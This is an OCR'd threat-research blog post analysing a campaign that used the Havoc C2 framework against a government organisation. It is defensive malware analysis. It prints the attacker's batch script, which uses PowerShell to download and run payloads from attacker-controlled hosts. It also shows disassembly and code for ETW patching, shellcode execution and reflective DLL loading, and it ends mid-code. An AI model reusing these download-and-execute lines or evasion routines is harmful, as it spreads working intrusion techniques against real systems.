Havoc Across the Cyberspace

@ zscaler.com/blogs/security-research/havoc-across-cyberspace

Zscaler ThreatLabz research team observed a new campaign targeting a Government
organization in which the threat actors utilized a new Command & Control (C2) framework
named Havoc. While C2 frameworks are prolific, the open-source Havoc framework is an
advanced post-exploitation command and control framework capable of bypassing the most
current and updated version of Windows 11 defender due to the implementation of
advanced evasion techniques such as indirect syscalls and sleep obfuscation.

The technical analysis that follows provides an overview of recently discovered attack
campaign targeting government organization using Havoc and reveals how it can be
leveraged by the threat actors in various campaigns.

Key Observations:

o Observed New threat campaign leveraging the open-source Havoc C2 framework
targeting Government organization
e Analysis of Havoc Demon - Implant generated via the Havoc framework
o ShellCode Loader:
» Disables the Event Tracing for Windows (ETW) to evade detection
mechanisms.
» Decrypts and executes the shellcode via CreateThreadpoolWait()
o KaynLdr Shellcode:
» Reflectively loads the Havoc’s Demon DLL without the DOS and NT
headers to evade detection.
» Performs API hashing routine to resolve virtual addresses of various
NTAPI's by using modified DJB2 hashing algorithm
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e Demon DLL:
o Parsing configuration files
o Usage of Sleep Obfuscation Techniques
o Communication with the CnC Server - Checkln Request and Command
Execution
o Performs In-Direct Syscalls and Return Address Stack Spoofing and more
o Performed tracking of the threat actor based on infrastructure analysis and opsec
blunders where we gathered and analyzed the screenshots of the threat actors
machine from the CnC due to self-compromise.

Table Of Contents:

Campaign:

In the beginning of January, this year, we discovered an executable named “pics.exe” in the
Zscaler Cloud targeting a Government Organization. The executable was downloaded from
a remote server: “146[.]190[.148[.]229” as shown in the screenshot below

Time @timestamp url vertical

Jan 5, 2823 @ 23:85:18.888 Jan 5, 2823 @ 23:85:18.668 146.1908.48.229/pics.exe GOVERNMENT

Fig 1. Campaign - Zscaler Cloud

Let us now examine the infection chain used by the threat actors in the following campaign
to deliver the Havoc Demon on the target machine.
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Fig 2. Infection chain

The infection chain utilized by the threat actors for delivering the Havoc Demon on the

target machines commences with a ZIP Archive named “ZeroTwo.zip” consisting of two files

“character.scr” and “Untitled Document.docx” as shown in the screenshot below.

i ZeroTwo.zip Compt
gt e v ee s o= . NZeroTwo.ziph,
Filey Edit View Favorites Tools Help
- v ) = X i

Addy Extract Test Copy Move Delete Info

¥ 3\ C\Users\,. ..o oo oo -~ . . \ZeroTwo.zip\

Name\ Size Packed Si...
[m=icharacter.scr 128 000 63 469
=] Untitled document.docx 7 007 6318

Fig 3. ZIP Archive

Here the “Untitled Document.docx” is a document consisting of paragraphs regarding the

“ZeroTwo” which is a fictional character in the Japanese anime television series Darling in
the Franxx.
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Zero Two is a highly complex and multifaceted character from the popular anime and
manga series "Darling in the Franxx". As an elite member of the secretive organization
known as the "APE Special Forces", Zero Two possesses a number of exceptional
abilities and characteristics that make her a formidable force to be reckoned with.

One of the most striking features of Zero Two is her distinctive appearance, which
includes bright pink hair, horns, and a unique outfit that combines elements of both
human and alien physiology. It is imperative that any artist seeking to depict Zero Two
do so with the utmost attention to detail and accuracy, as even the smallest deviation
from the character's established visual design could undermine the integrity of the
piece.

In terms of personality, Zero Two is a complex and multifaceted individual who exhibits
a range of emotions and behaviors. At times, she can be fiercely independent and
rebellious, while at other times she exhibits a more vulnerable and compassionate side.
It is essential that any artist attempting to portray Zero Two capture the full range of her
emotional depth and complexity, as this will be crucial in accurately conveying the
character's motivations and actions.

Overall, Zero Two is a highly influential and iconic character within the world of "Darling
in the Franxx", and it is crucial that any artist seeking to depict her do so with the utmost
care and attention to detail. By following the guidelines outlined above and taking the
time to fully understand the character's unique traits and characteristics, it is possible to
create a truly exceptional and memorable depiction of Zero Two.

Fig 4. Contents of the Document bundled in the ZIP Archive

Further the screen saver file “character.scr” is basically a downloader commissioned to
download and execute the Havoc Demon Agent on the victim machine. The Downloader
binary is compiled using a BAT to EXE converter “BAT2EXE” which allows users to convert
Batch scripts into executables as shown in the screenshot below. The BAT2EXE argument
can be seen in the downloader binary.

C @ documentation.help/BAT2EXE/en.html

push rax

push recx

sub rsp,20

€all character.1400121c0
add rsp,20

pop rcx

push rax

push gword ptr ss:|[Irsp+90]
po

b2eincfile(number)

b2eincfilecount [rsp+90] :L"b2eincfilepath”

rcx

b2eincfilepath Returns the include file path

b2eprogramname Returns the full path name of your executable

Fig 5. BAT2EXE argument used in the downloader binary

Once executed the BAT2EXE compiled binary loads and decrypts the Batch Script from the
.rsrc section as shown in the screenshot below.
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soco mov rax,rax = RDI  000C
L] push rax | rax:"@%puBlIc:~89,83%%PUBLic:~5,1%CHoA of A%PUBTIC:~46,16%F\NSET RA=IgA%PUBLI
L pop rcx RE 00000000FFFFFFFF
g ng ;Sx i RS 000000000000000L
®[CBAFFFF calil character.140001284 DECWPtEd BAT SCI’IpT 3‘1) Sggggggggﬂfgggg
+mB7C24 68 mov ri5,qword ptr ss:[rsp+63] R12  0000000000000000
N 5!'5 ;%\grétter 140005878 R15 RO 000000000000000)
®| 13Ac0100 pusn qworg ptr ds: E140020¢]16c] g‘; gggggggggggggggg -
. push qword ptr ss:[frsp+40) R15
| 89ac0100 push gqword ptr ds:[1400204EC] 00000001400204EC :&L"C: \\Users\\knight\\AppData\\Local\\Temp\\8F75. tmp\\8F76.
. pop r'gx RIP  0000000140005848 character. 0000000140
L] pop rdx
. - _
B, 0000 Ii:‘ Char acter 140%06%0 : : : ! [RH Resource Hacker - character.exe m] X
e24 38 push gword ptr ss:[Irsp+3g] rsp+38]: "@%puBlIc:~89,{ N . .
. pop rex File Edit View Action Help RCData : E6583C6822597B3EF6BDBEA9822ED720: 0
4710000 €all character.14000c9c0
(4000000 ]mph(haracter.:lauuus-ms D . . ‘ w é& H Dialog o [
-+ usn rcx
I push rex L@ i=) ij \l * Merge ()
6] > . Icon 0001ESEC |26 85 5C F5 24 43 0A C2 23 |a
r s55:[rsp+68]=[000000000014FD8B]=0 / -], RCData 0001ESFC | E2 E3 BE 72 BB 01 12 BC 9'.' 78 ED DC 60 FO €€ 84
. ! 0001EAOC|F4 5B 46 C8 FD 14 26 SE E9 88 64 98 B7 €8 F4 51
100000140005848 character.exe: 55848 #4¢48 i ¢ TE3BTAAFEBE2FESI04] | 000t enic |83 12 co vm wo 77 om 9B 50 B4 Jb RO 44 B B0 1t
1 % pump 2 W ooump3 W pump 4 iy u’{ps @ watch1 = Locals 2 stuct s B2BFBFCE208C426E95] F3 CD 9D 7 4C 02 6A 78 A3 2F 30 7B 7D 3D RA FA
mean 7 DDO9CD4609 : 0 DE 8C 40 €4 OB 09 88 ©5 52 25 BO 88 A% 87 BB 41
400231EC|[A6 9D 85 24 |2E 78 AC 44 |FB 5C E5 A4 |43 A CZ 23|]-.5. x-DOVORC, A% 1F 78 1B 1D EE€ 7F SC E2 4B 10 0B 08 EA 1F F8 OE
E3 B6 72|88 O1 12 BC|97 78 ED DC |60 FO 66 84| adfrs..%. xiU of. DC 7F 40 00 25 78 C9 EF 14 75 BS F9 C8 DB 98 7B
14 26 3c|£0 88 64 98167 68 P4 51 0[53-%"9:?:;“?‘1 > 52 1E 77 AD SC BO 4A B8 41 D9 29 4F 3F YA C6 99 R
o .01 JXE/0 (1" | | Manifest 0001EA7C|12 CE B4 C2 B3 1€ A0 99 36 41 AD 33 1B ES AB 8B
Ooad- . ARk A O001EABC| €A 72 12 1F F2 58 D2 88 DF 7A F4 80 F2 E7 15 79 3

.z LAk, Eo. . . sc|Bs D2 8 20 FA D4 72 45 CF D8 46 07 B2 1E 8 BS
-¥ET upiee. { Encrypted BAT script loaded via 33[ca o3 3= o 25 08 21 50 58 cm 36 43 ée 1o or 1a

l6a 3, be. BC|9F cO 49 00 €D 14 EC 6B F6 1D BF 10 AY BC 04 08 |y
i R0 bt i LoadResource BC[SF CO 45 00 6D 14 EC 68 FG 1D BF 10 a9 6C 04 08 )
"orEm . . - “ditor View Binary View

“ SFB / 1E9EC Selection - Offset: 0 Length: 0

Fig 6. Decrypted BAT Script

The binary then writes and executes the decrypted BAT script from the Temp folder as
shown in the image below.

> AppData > local > Temp > 8F75tmp > 8F76.tmp v O 2 Search 8F76:
Name B Date modified Type Size
[.] 8F77.bat . Windows Batch... 2 KB
| 8F78.tmp \ o TMP File 0 KB
NUsert ., AppData\Local\Temp%F75.tmp\8F76.tmp\8F77.bat - Notepad++ - O X
Edit Search View Encoding Llan§uage Settings Tools Macro Run Plugins Window ? + v

IHeR G| s Wikhoq iy x| BEE
$83C6822597B3EF6BDBEAY822ED720 &3 ESF??.bat x| |

[eshift /0
@%pUBlIc:~89,83%%PUBLic:~5,1%CHo" of~“%PuBlIC:~46,16%f
SEt R*=Jg*%pUBLIc:~13,1%*gtGXz%pUBLIc:~4,61%wW%pUBLIc:~11, 1% hm%pUBLIc:~10,1%*S*HI*0O"A
~%pUBlIC:~14,1%"L%pUBliC:~55,17% %publIc:~4,61%
@~e~c%r:~15,1%"%xr:~17,1% ~%r:~17,1%n

fectr:~11,1%0 off Decrypted BAT Script

cd %temp%

FECle® @E PR

$r:~2,1%f ex%r:~2,1%%r:~8,1%%r:~4,1% $temp¥\%r:~4, 6 1%c%r:~8,1%%r:~4, 1%c.exe (
ec%r:~11,1%c F%r:~2,1%le already ex%r:~2,1%%r:~8,1%%r:~4 ,1%%r:~8,1%!

) el%r:~8,1%e (
po%r:~9,1%er%r:~8,1%%r:~11,1%e1]l -co%r:~12,1%%r:~12,1%and %r:~2,l1%nvoke-%r:~9,1%e%r:~10,1%reqg
$r:~13,1%e%r:~8,1%%r:~4,1% '"$r:~11,1%%r:~4 1%%r:~4,1%p://146.190.48.229/p%r:~2,1%c%r:~8,1%
.exe'-0%r:~13,1%%r:~4 ,1%F%r:~2,1%1le %xr:~8,1l%ce%r:~4,1%%r:~11,1%e.exe

Fig 7. Decrypted BAT Script written in the Temp folder
The Decrypted BAT Script upon execution performs the following tasks:

Checks whether “teste.exe” exists in the Temp folder, if not, it downloads the final payload
from http[:]//146[.]190][.]48[.]229/pics.exe and saves it as “seethe.exe” in the Temp folder via
Invoke-WebRequest and then executes it using “start seethe.exe”

5/30



fGecho off

cd %tempt

if exist Stempii\teste.exe (

echo File already exists

) else |

powsrshell -command inwvoke-webrequest 'http://146.190.48.228%/pics.exe'-outFile seethe.exe
)

|ed $temp?

_start seethe.exe

Fig 8. Downloads the final payload “pics.exe” from remote server via Invoke-WebRequest

Then it checks whether “testv.exe” exists in the Temp folder, if not, it downloads an image
from “https[:]/i[.]pinimg[.Jcom/originals/d4/20/66/d42066e9f8c4b75a0723b8778c370f1d.jpg”

and saves it as images.jpg in the Temp folder and opens it using images.jpg.

|if exist %tempt\testv.exe (

echo File already exists

) else (

powershell -command invoke-webrequest 'https://i.pinimg.com/originals/d4/20/66/d42066e9£8c4b75a0723b87768c370f1d. jpg'-outFile imagez.jpg
start imagez.]jpg

)

Fig 9. Downloads a JPG image from pinimg[.Jcom

The following image of the “Zero Two” character was downloaded from pinimg[.Jcom &
executed in order to conceal the actual execution and malicious activities performed by the
final payload.
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Photos - imagez.jpg

w See all photos —+— Add to @\ ]E @ ﬁ R

Fig 10. Zero Two Image downloaded from pinimg[.Jcom

Before analyzing the final payload, let’s take a look at another similar Downloader compiled
via BAT2EXE named “ihatemylife.exe”, in this case, the decrypted Batch script downloads
the final payload from “https[:]/ttwweatterarartgea[.]ga/image[.]Jexe” using Invoke-
WebRequest alongside the payload it also downloads an image to conceal the malicious
activities as shown in the screenshot below.
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cd

powershell -Command "Invoke-WebRequest -Uri 'https://encrypted-tbn0O.gstatic.com

/images?g=tbn:ANd9GcQOBmnuovMZg0rZEmZEnDs fTcZbBgw-2 R3Ygs&usgp=CAU' -OutFile 'image.jpg'"
timeout /t 7

start image.jpg

powershell —-command invoke-webrequest 'https://ttwweatterarartgea.ga/image.exe'-outFile image.exe
start image.exe

Fig 11. Decrypted Batch scripts downloads the final payload from
https[:J/ttwweatterarartgeal.]Jga

<& @ (3 https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcQQBmnuovMZg0rZEmZEnDsfTcZbBqw-2_R3Yg&usqp=CAU

Fig 12. Image Downloaded by the Batch Script to conceal malicious activities

Now let’s analyze the final In-the-Wild “Havoc Demon” payload which was downloaded via
the Downloader named “character.scr”’ from http[:]//146][.]190[.]48[.]229/pics.exe as
explained previously.

Havoc Demon is the implant generated via the Havoc Framework - which is a modern and
malleable post-exploitation command and control framework created by @Cb5pider.
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A HavocFramework / Havoc  Public

<> Code (O lIssues 41
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CREDITS.md
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ROADMAP.md
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Fig 13. The Havoc Framework
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Fig 14. Havoc Framework - Interface

Shellcode Loader:

The Havoc Framework.

Releases

Sponsor this project

o CrackedSpider CSpider v

|® catreoncom/spider

Learn mare about GitHub Sponsors

Packages

The Downloaded payload “pics.exe” is the “Shellcode Loader” which is signed using
Microsoft’s Digital certificate as shown in the screenshot below



W pics Properties

Security Details Previous Versions
General Compatibility Digital Signatures

E Signature ligt

= MName of signer: Digest algorithm Timestamp

Microsoft Corporation  sha2h6 Saturday, February &
C2R5ervice shal Mot available
Microsoft Corporation sha2h6 Saturday, February &

< >

Digital Signature Details

General | Advanced

—, Digital Signature Information
This digital signature is not valid.

Signer information

Mame: Ili:rmﬂﬁlpmaim

E-mizil: INut available

Signing time: ISaturday, February 27, 2021 7:53:30 PM

View Certificate

Countersignatures
Fig 15. Microsoft Signed Executable

Upon execution the Shellcode Loader at first disables the Event Tracing for Windows (ETW)
by patching the WinApi “EtwEventWrite()” which is responsible for writing an event. ETW
Patching process:

¢ Retrieves module handle of ntdll.dll via GetModuleHandleA
o Retrieves address of EtwEventWrite via GetProcAddress

48:8D0D 51280000 lea rcx,qword ptr ds: [7FFFEDA3D4000] 00007 FFEDA3D4000: "ntd1T1.d11™

48: 8805 CASADLOD mov rax,qword ptr ds: [<&GetModuleHandleA>]

FFDO Eanl rax

48:8D15 4B280000 Tea rdx,qword ptr ds: [7FFFGDA3D400A] rdx: "EtwEventwrite", 00007FFGDAID400A:'
48:89C1 mov rcx,rax

45: 8B05 BF6AD100 mov rax,qword ptr ds: [<&GetProcAddress>]

FFDO call rax

Fig 16. Fetches the address of EtwEventWrite
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Further it changes the protection of the region via VirtualProtect and then overwrites
the first 4 bytes of the EtwEventWrite with following bytes: 0x48,0x33,0xc0,0xc3 (xor

rax,rax | ret)

Fig 17. Overwriting bytes to patch EtwEventWrite

00007 FF90089F 1A0 IC: BEOC MOV T 11T 50 EtwEVEentwrite
0000FFF200B9F1AZ 48:83EC 58 sub rsp,58

00C00FFF20089F 1AT IOTCO4E EO LH 1-18],r9

00007FF20089F 1AB 33C0 Xor edx,eax

00007 FF0089F 1AD 45:8943 EO mov dword ptr ds:[r1l-20

0000FFF20089F1BL 45:33CH9 xor rod,rad

00007 FF20089F1E4 49:8943 D8 mov gword ptr ds:[r1l-28],rax

00007 FF30083F1BE8 45:33C0 xor rad,rsd BEfOI’E PdTCh
00007 FF30083F 1BE 49:8943 DO mov gword ptr ds:[ri1l-30],rax

00007 FF20089F1BF 66: 894424 20 mov word ptr ss:[irsp+20f, ax

00007FFF20059F1C4 ES SFOOOOO0 call ntdll.7FF20089F228

00007FFF300B9F1CS 48:83C4 58 add rsp,58

00007FFF20089F1CD C3 ret

00007FFF20089F1CE CcC ints3

0000FFF20089F1A0 451 33C0 XOr rax,rax EtwEventwrite
00C00FFF20089F1AZ C3 Fet

00007 FF20089F 1A4 OOLC oo 00 Ceps2 o

00007 FF90083F 1A7 4D:894B ES mov gqword ptr ds:[r11-13 9

0000FFF20089F1AB 33CO XOor eax,edax

00007 FF20089F 1LAD 45:8943 EO mov dword ptr ds:[rll-zo],r&d

00007 FF30083F1B1 45:33C9 xor rod,r9d

00007 FF90089F 1B4 49:8943 D& mov gword ptr ds:[rl11-28],rax Af'ter PEtCh
00C00FFF20089F1EBE 45:33C0 xor rsd,rad

00007 FF20089F 1BB 49:8943 DO mov gword ptr ds:[r1l-30],rax

00007 FF30083F 1BF 66: 894424 20 mov word ptr ss:|frsp+zo],ax

0000FFF20089F1C4 EE SFOOCOOODO0 call ntdll.7FF30089F2258

00007FFF20089F1CS 48:83C4 &8 add rsp,5s

00007 FF0089F1CD G3 ret

nNnnNnN7EFSNNASF1CF o intz

By patching the EtwEventWrite function the ETW will not be able to write any events thus

disabling the ETW.

Then the payload AES decrypts the shellcode using CryptDecrypt() as shown in the
screenshot below - in this case the Algorithm ID used is “0x00006610” - AES256

S e . .
® || 00007 FFEDA3D 1642 48:895424 20 mov gword ptr ss:firsp+zofl,rdx
e 0D0DD7FFEDA3D 1647 41:B9 00000000 mov rad,0
e [ ooDD7FFEDA3D 164D 41:B8 00000000 mov rad,n
¢ |00D007FFEDA3D1ES 3 BA 00000000 mov edx,0
¢ ||0n007FFEDA3D1ESS 48:89C1 = :
® || 00007 FFEDA3D165E 48: 8B05 BG&GEOLOOD mov rax,qword ptr ds:[<&CryptDecrypt>]
] A3D1 FFDO eall rax
| 00007 FFG 1664 B5CO test eax,eax
e [[0D007FFEDA3D166E OF34C0 TETE T
| 0o007FFEDA3D1GES B4CD test al,al
----# | 00007FFEDAID1GEE | ~ 74 0OF je pics.T7FFEDA3D16T4
i e |o0007FFEDA3D 166D B8 FFFFFFFF mov eax,FFFFFFFF
— & | DDO0D7FFEDA3D1G72 | ~ EB 3A jmp pics.7FFEDA3D1GAE
o -2 20 PN “n
VO7FFEDA3D1664 pics.exe:$1664 #C64
I @Woump2 @ Dump3 B Dump 4 }éDump 5 B watch 1 Iv=ILocals 2 struct
Hex i ASCIT
JE3EF7B0[EE 38 SO FE|40 BB A TN 40 B3 EC Z0|ER OF OO oo VH.EHiaOH.1 e...
sE3EF7o0|00 48 89 F4|SE C2 &6 ZE|OF 1F 84 00|00 00 00 00| .H.B6AAF.........
\E3EF7AD| 41 56 45 31|cO 45 21 9|31 D2 41 55|31 9 41 54| averaercibanaear] AES DecryptEd
3E3EF7BO|55 57 56 53|48 83 EC 50|4C 89 44 24|40 4C 89 44| UWVSH.1PL.D3EL.D
SE3EF7CO|24 48 44 89(4C 24 34 48|89 54 24 38|89 4C 24 30| $HD.L$4H.T$8.L50 ShE”COdE
3E3EFFDO|ES EB 02 00|00 B9 53 17|E6 70O 49 B3|CS ES OF 0Z|E&...'S.=zpl.As..
JESEFFEO| 0D 00 BA 43|6A 45 9E 48|89 C3 48 B89(CL EB 4F 02|..°CJE.H.AH.ARO.
sE3EF7Fof 00 00 48 B9|D9 BA EC BS|S83 F7 ES 42|02 00 00 48|..H.U®1 .<BB...H
SEZEFB0O0| 89 D9 BA 88|28 EZ 50 48|89 €6 ES 32|02 00 00 49| .0%. (&PH.&RZ,..I
3E3EFB10| 63 5D 3C 45|31 CO 48 83|C9 FF 49 B9|C4 48 8D 54| C]<E1AH.EVI.AH.T
3E3EF820| 24 38 4C BD|4C 24 30 4C|01 EB 8B 43|50 C7 44 24| §8L.L$0L.&.CPCDS
;E2EFB820| 28 04 00 00|00 C7 44 24|20 0D 10 00|00 89 44 24| (....GCD% ..... D%
3E3EFB40| 20 FF D6 BS|CO OF 88 41|01 00 00 OF |B7 43 14 45 D%D.A..A.:..-C.E
3E3EFB50| 31 CO 48 BD|6C 03 18 48|89 EA OF BF |43 06 48 8B|1AH.1..H.&,-C.H.
sE3EF860) 4C 24 33 41|39 Co 73 1D|8B 42 0OC BB|72 14 41 FF|L$BA%AS..B..r.AY
SEZEFB7FO|CO 48 83 C2(28 48 01 CB|4C 01 EE BB|4A ES 48 89 AH.A;H.EL.i.EEH.
AESEESAN R = S T T W = N - N — oo = 4 - -1 ey o g,

11/30



Fig 18. AES Decrypts the Shellcode via CryptDecrypt

Once the Shellcode is decrypted, the Shellcode is executed via CreateThreadpoolWait()
where at first it creates an event object in a signaled state via CreateEventA(), then
allocates RWX memory via VirtualAlloc() and writes the Shellcode in the allocated memory.
Further it creates a wait object using CreateThreadpoolWait, here the first argument -
callback function is set to the address of the shellcode. Then it set’s the wait object via the
NtApi “TpSetWait” and at last calls the WaitForSingleObject which once executed checks if
the waitable object is in signaled state, as our event was created in signaled state the
callback function is been executed i.e the decrypted shellcode is been executed and the
control flow is been transferred to the shellcode.

00007 FFEDA mov rax,qword ptr ds:|[<&CreateEventa>] O0007FFEDAZEB250: "OIA™

48: BB0OS C7690100
FFDO

00007 FFE Eall rax
4B:8985 C8030100 T T e T I S T
41:B9 10000000 mov rod, 10
4C:8D05 71170000 lea r8,qword ptr ds:[7FFEDA3D3010] 00007FFEDA3D30L0: "rFEgHZUSSRNaAgL"”
BA 0COO0000 mov edx,C C:\fF"
48:8D0D 75170000 lea rcx,qword ptr ds:[7FFEDA3D3020] 00007 FFEDA3D3020: "virtualalloc™
E8 DO4FEFFFF call pics.7FFEDA3D16B4
48: 800D 66270000 lea rcx,qword ptr ds:[7FFEDAZD401D] 00007FFEDA3D401D: "kernel32. d11"
48: 8B05 C2690100 mov rax,qword ptr ds:[<&GetModuleHandleA>]
FFDO Eall rax
4818015 59170000 Tea rdx,gword ptr ds:[FFFEDA3D3020] 00007FFEDA3D3020: "VirtualAlloc™
48:89C1 mov rcx,rax
48: 8805 B7 630100 mov rax,qword ptr ds:[<&GetProcAddress=]
FFDO o

48: 8905 66570100
481 8B0O5 5F570100
41:B9 40000000
41:B8 00100000
EA 00040100

ES 00000000

mov qword ptr ds:[<@Virtualallocs],rax
mov rax,qword ptr ds:[<&virtualAlloc=]
mov rod, 40 40: '@’
mov r&d, 1000
mov edx, 10400
mov ecx, 0

FFDO Eall rax
48: 8985 CO030100 e e
48:8D55 AD lea rdx,gwoerd ptr ss:|[irbp-s0j

mov rax,gword ptr ss:frbp+103cofl Shellcode execution via

mov r&d, 10400

48:BBBS CO030100
41:E8 00040100

48:89C1 MoV _rCx,rax >
ES OF120000 calll <IMP.&memmove> CreateThread pc:-olWalt
48: 8B85 COO030100 mov rax,qword ptr ss:|[irbp+103Coff

41:B8 00000000 mov r8d,0
BA 00000000 mov_edx, 0
48:89C1

48:8B05 23690100
FFDO

48:83985 BS0O30100

mov rax,qword ptr ds:[<&CreateThreadpoolwait=]
€&l rax

mov gqword ptr ss:|[@rbp+lo3Bs],rax

mov rdx,qword ptr ss:|[irbp+103Csf)

mov rax,qword ptr ss:|rbp+103E8]

mov r&d,0

48:8B35 C8030100
48:8BB5 BBO30100
7 41:B8 00000000
00007 F D195 2 48:89C1L

6 2 mov rcx,rax
00007 FFEDA3D1955 48: 8B05 4C630100 mov rax,qword ptr ds:[<&TpSetwait>]
00007 FFE 195C FFDO call rax
00007 FFE 195E 48: 8885 CS8030100 mov rax,qword ptr ss:|[irbp+103C5]
00007 FFE 1965 BA FFFFFFFF mov edx,FFFFFFFF
00007 FFE 196A 48:89C1 mov rCx,rax

00007 FFE 196D 48: 8B05 64690100 mov rax,qword ptr ds:[<é&waitForSingleobject>]
NNNNTEEANAIMNT G74 EENN

< : Vi

4% Dump 2 2% Dump 3 24 Dump 4 24 Dump 5 @ watch 1 [x=] Locals [[{J Struct
I ascil L
27000056 48 B9 EG|48 83 E4 FO|48 83 EC Z0|EB OF 00 00 VH.EHAEDH.1 B...
270010]00 48 B9 F4|SE €3 66 2E|OF 1F B4 00|00 00 00 00| .H.8MAF.........
270020041 56 45 31|CO 45 31 C3|31 D2 41 55|31 €9 41 54| AVELAEIE10AULEAT DecryptEd She”COde
270030]55 57 56 53|48 83 EC S0|4C 89 44 24|40 4C B89 44| UWVSH_IPL.D$EL.D
270040)24 48 44 89|4C 24 34 48|89 54 24 33(89 4C 24 30| $HD.L34H.T$8,L50
270050 E8 EB 02 00(00 B9 53 17|E6 70 49 89(C5 E8 OE 02| &E... S.2pl.Ak..
270060[ 00 00 BA 43(6A 45 9E 48|89 C3 48 89(C1 E8 4F 02|..°CJE.H.AH.AROD.
27007000 00 48 89|D9 BA EC BB|83 F7 EB 42|02 00 00 48|..H.Us1 .<EB...H
27008089 D3 BA BE|23 E9 S0 43|89 C6 EB 32|02 00 00 43|.0°. (éPH.£e2...1

270090063 50 3C 45|31 CO 48 83|C9 FF 43 89|C4 48 8D 54| c]<E1AH.EVI.AH.T
2700A0024 38 4C 8D (4C 24 30 4C|(01 EB BB 43|50 €7 44 24| $8L.L%0L.&.CPCD%
=]

2700B0]28 04 00 00|00 C7 44 24(20 00 10 00|00 89 44 24| (....CDE ..... 3
2700C0OJ30 FF D6 B5(CO OF 88 41|01 00 00 OF|B7 43 14 45 |0y .A..A.z..-C.E
2700D0J 31 CO 48 8D|6C 03 18 48|89 EA OF B7 |43 06 48 8B|1 H.1..H.E.-C.H:

FITANEN = =

Fig 19. Shellcode execution via Create ThreadpoolWait

KaynLdr - Shellcode

The Shellcode in this case is the “KaynLdr” which is commissioned to reflectively load the
Havoc’s Demon DLL implant by calling its entrypoint function. Once the Shellcode is
executed it retrieves the image base of the Demon DLL which is embedded in the shellcode
itself by executing the following inline assembly function called KaynCaller.
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EE& 00000000 call 24p8BE30345 call %0
59 pop rcx .
48:31DB xor rbx,rbx section .tEXt$F
BB 4D5A0000 mov ebx,5a4D
48:FFCL inc rcx .
3E66:3B19 cmp bx,word ptr KaynCaller‘.
~ 75 EF jne 24DBBE30346
48:31c0 XOr rax,rax
66:8841 3C mov ax,\itord ptr ds:[rcx+3 call Caller
48:01C8 add rgx,rgx
48:31D8B xor rbx,rbx .
66:81C3 5045 add bx,4550 caller:
3EG66:3B18 cmp bx,word r ds:[rax]
~ 75 D7 jne 24DBB8303
18:89C8 MOV rax,rcx pop rcx
= ret
EE 00000000 call 24DBBE30378 call $0 .
58 pop rax 100p.
48:B3EE 05 sub rax,5
3 ret xor rbx, rbx

mov ebx, @x5A4D
inc rex
cmp bx, word ds:[ rcx ]

jne loop

Xor rax, rax
mov ax, [ rcx + @x3C ]
add rax, rcx

xor rbx, rbx

‘IDemon DLL add bx, ©x4550

"Eenﬂbeddedin cmp bx, word ds:[ rax ]
: the
:|Shellcode

[=l=l=l=]=]=]=]=]=]=]=]=]=]=]=]=]=]=]=]=]=]=]=]=]=]

jne loop

mov rax, rcx

00 00 00 0000 00 ret

Fig 20. Retrieves the Image Base of the Embedded Demon DLL

Further the KaynLdr performs the APl Hashing routine in order to resolve the virtual
addresses of various NTAPI’s by walking the export address table of the ntdIl.dll (Function:
LdrFunctionAddr) and initially the virtual address of the NTDLL.dIl is been retrieved by
walking the Process Environment Block (Function: LdrFunctionAddr) as shown in the
screenshot below

0000024 D88830050 £ EB020000 €all <kayncallers kayncaller
0000024D88830055 B9 5317E670 mov ecx,70E61753
0

05A 49:89C5 mov rl3,rax
05 ES 0E020000 €all <LdrModulepeb>
BA 436A459E mov edx,9e456443
48:89C3 mov rbx,rax

48:89C1 mov rcx,rax #define NTDLL_HASH @x70e61753
E8 4F020000 €all <LdrFunctionaddr> -
48:89D9 mov rcx,rbx
BA ECBBB3F7 mov_ edx,F783BBEC
E8.4ZDZDDD{) €all <LdrFunctionAs
a4 Sa5ae050 mov oo, Sorozsss #define SYS_LDRLOADDLL Bx9e456a43
48:89C6 mov rsi,rax
coonzibRsiionenl 58 32020000 T #define SYS_NTALLOCATEVIRTUALMEMORY oxf783b8ec

#tdefine SYS_NTPROTECTEDVIRTUALMEMORY @x50e92888
Instance.Modules.Ntdll = LdrModulePeb( NTDLL_HASH );

Instance.Win32.LdrLoadDll LdrFunctionAddr( Instance.Modules.Ntdll, SYS_LDRLOADDLL );
Instance.Win32.NtAllocateVirtualMemory = LdrFunctionAddr( Instance.Modules.Ntdll, SYS_NTALLOCATEVIRTUALMEMORY );
Instance.Win32.NtProtectVirtualMemory = LdrFunctionAddr( Instance.Modules.Ntdll, SYS NTPROTECTEDVIRTUALMEMORY );

Fig 21. API Hashing Routine used by Havoc Demon

Here the hashing algorithm used is a modified version of “DJB2” algorithm based on the
constant “5381” or “0x1505” as shown in the screenshot below.
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B8 05150000 mov eax,1505

45:8A01 mov r8b,byte ptr
48:85D2 Test rdx,rdx
~ 75 06 jne 218F2cC0236 ) .
45:84C0 test _r8b,rgb text, B ) UINT PTR HashStrlng( LPVOID String, UINT_PTR
-~ 75 16 Jne 218F2CC024B - -
c3 ret
45:89CA mov ri0d,rod {
41:29CA sub ri10d,ecx
49:39Dp2 cmp rio,rdx
5 7ala jag 218F2€C0264 ULONG Hash =[5381;
45:84C0 test r8b,r8b
~ 75 05 jne 218F2CC024B
so:rrcL ine ro PUCHAR Ptr = String;
EB 0A jmp 218F2cC0255
41:80F8 60 cmp r8b,60
76 04 jbe 218F2cC0255
41:83e8 20 sub r&d,20
6BCO 21 imul eax,eax,21 d
45:0FB6CO movzx r8d,r8b (o]
49:FFCl inc r9
44:01c0 add eax,r&d {
~ EB €4 jmp 218F2€C0228
c3 ret

o UCHAR character = *Ptr;
if (! Length )

{
if ( !*Ptr ) break;

Fig 22. Modified DJB2 Hashing Algorithm used in the APl Hashing Routine

Virtual Addresses for the following module and NTAPI’s are retrieved by using the API
Hashing routine where the hardcoded DJB2 hashes are compared with the dynamically
generated hash.

0x70e61753 ntdll.dll

0x9e456a43 LdrLoadDll

0xf783b8ec  NtAllocateVirtualMemory

0x50e92888 NtProtectVirtualMemory

Further the Embedded Demon DLL is memory mapped and the base relocations are
calculated if required in an allocated memory page procured by calling the
NtAllocateVirtualMemory(). Also the page protections are changed via multiple calls to
NtProtectVirtualMemory as shown below.
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if ( NT_SUCCESS( Instance.Win32.NtAllocateVirtualMemory( NtCurrentProcess(), &KVirtualMemory, ©, &KMemSize, MEM_COMMIT, PAGE_READWRITE ) ) )

SecHeader = IMAGE_FIRST_SECTION( NtHeaders );
for ( DWORD i = 8; i < NtHeaders->FileHeader.NumberOfSections; i++ )

Copy Sections of the Demon DLL into the allocated

( memory
MemCopy (
C_PTR( KVirtualMemory + SecHeader[ i ].VirtualAddress ), // Section New Memory
